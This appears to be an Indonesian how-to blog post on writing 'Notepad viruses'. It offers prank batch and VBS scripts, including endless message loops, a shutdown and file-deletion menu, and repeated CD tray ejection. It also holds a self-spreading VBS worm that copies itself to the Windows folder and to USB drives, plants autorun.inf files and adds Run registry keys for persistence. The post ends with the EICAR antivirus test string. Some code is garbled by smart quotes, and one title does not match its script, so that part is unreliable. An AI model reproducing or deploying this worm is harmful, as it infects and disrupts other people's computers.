Membuat Virus Notepad

Dari sekian postingan tentang cara membuat virus di blog ini mungkin ini yang paling gokil dan jahil, karena tidak hanya komputernya yang bingung tapi orangnya juga akan jengkel.

Penasaran nih ?
Dibawah ada beberapa script kode untuk membuat virus silahkan di ubah atau langsung dikopi ke notepad anda.

1. Virus dengan sasaran buat orang jengkel karena muncul terus, sebenarnya bukan virus tapi hanya program yang sok-sok jadi virus :)

@ECHO off

:

Begin

msg * Haloo ?

msg * Lagi apa nih ?

msg * Weww ketahuan nih..

msg * Hayooo ngaku..

msg * Ye ye ketauan yeye ketahuan

msg * Aku matiin saja gimana

msg * Mau............................

GOTO BEGIN

simpan dengan berekstensi .bat contoh Usil.bat

 2.  Membuat Virus Wants to Be A Milionaire

@echo off

title quiz wants to be a millionaire

:menu

cls

echo jika kamu kena virus apa

yang kamu lakukan

pause

echo pilih yang mana:

echo 1. Matikan Komputer

echo 2. Format Komputer

echo 3. Yahhhh...

set input=nothing

set /p input=Choice:

if %input%==1 shutdown -s -t

30

if %input%==2 del c:\xxx

if %input%==3 @ECHO off

msg * Kurang Beruntung nih

msg * Kurang Iman kali :D

msg * Aduh ini gimana kok tambah parah

msg * Masukin ke UGD aja ya

msg * Telpon 311 saja ya

@ECHO off

:top

START %SystemRoot%

\system32\notepad.exe

GOTO top

Simpan dengan .bat contoh contoh = Kuis Wants to be a millionaire.bat

3. Membuka notepad terus-menerus

@ECHO off

:top

START %SystemRoot%

\system32\notepad.exe

GOTO top

Simpan dengan ektensi.bat

4. Shutdown sendiri dan kirim pesan otomatis

Set wshShell

=wscript.CreateObject

("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"

loop

Simpan dengan .vbs

5. CD Room terbuka dan tertutup terus

Set oWMP = CreateObject

("WMPlayer.OCX.7")

Set colCDROMs =

oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop

Simpan dengan .vbs

Catatan :
Hanya sekedar referensi agar lebih waspada terhadap setiap software atau program yang ada di computer, laptop atau di internet agar tidak mudah percaya begitu saja karena akibatnya sangat fatal.

1. Virus notepad berikutnya adalah virus yang sangat berbahaya. Buka program notepad. Copy paste scrib di bawah ini, simpan dengan nama ganas_banget.exe.vbs

‘El Magnifico MAN
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe erwinda_putra.exe.vbs”
set fs = createobject(“Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & “\erwinda_putra.exe.vbs”)
tf.attributes = 32
set tf=fs.createtextfile(winpath & “\erwinda_putra.exe.vbs”,2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & “\erwinda_putra.exe.vbs”)
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path “A:” then
set tf=fs.getfile(flashdrive.path &”\erwinda_putra.exe.vbs”)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\erwinda_putra.exe.vbs”,2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &”\erwinda_putra.exe.vbs”)
tf.attributes =39
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
set rg = createobject(“WScript.Shell”)
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svchost”,winpath&”\erwinda_putra.exe.vbs”
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,”"
rg.regwrite “HKCR\vbsfile\DefaultIcon\”,”shell32.dll,3″
if check 1 then
Wscript.sleep 100000
end if
loop while check1
set sd = createobject(“Wscript.shell”)
sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname

do while year(now) >= 2008
WScript.sleep 20000

msgbox “salamaik tibo di virus camp_luck” & vbcrlf & _
“ondeh sanak maaf stek yo awak masuak ka sistem sanak anok-anok” & vbcrlf & _
“dunsanak komputer dunsanak awak kuasai stek dih. kini dunsanak masuak dalam permainan suruak manyuruan” & vbcrlf & _
“iko permainan yang paten ma dunsanak” & vbcrlf & _
vbcrlf & vbcrlf & _
” elok-elok selah dih dunsanak beko tajadi yang indak-indak ko” & vbcrlf & vbcrlf & _
” aaa kini saaiknyo ma dunsanak”

loop

2. Virus yang terakhir hanyalah sekedar pengetes Anti Virus Anda. Ini adalah script sederhana (virus ringan katakanlah) buat sekedar ngetes antivirus. Saat disimpan kalo tidak terjadi apa - apa, berarti memang antivirus itu teramat jelek maka perlu diganti.
   
   X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
   
   Copy paste source code diatas ke notepad abis itu coba simpan dengan nama apa saja terserah Anda.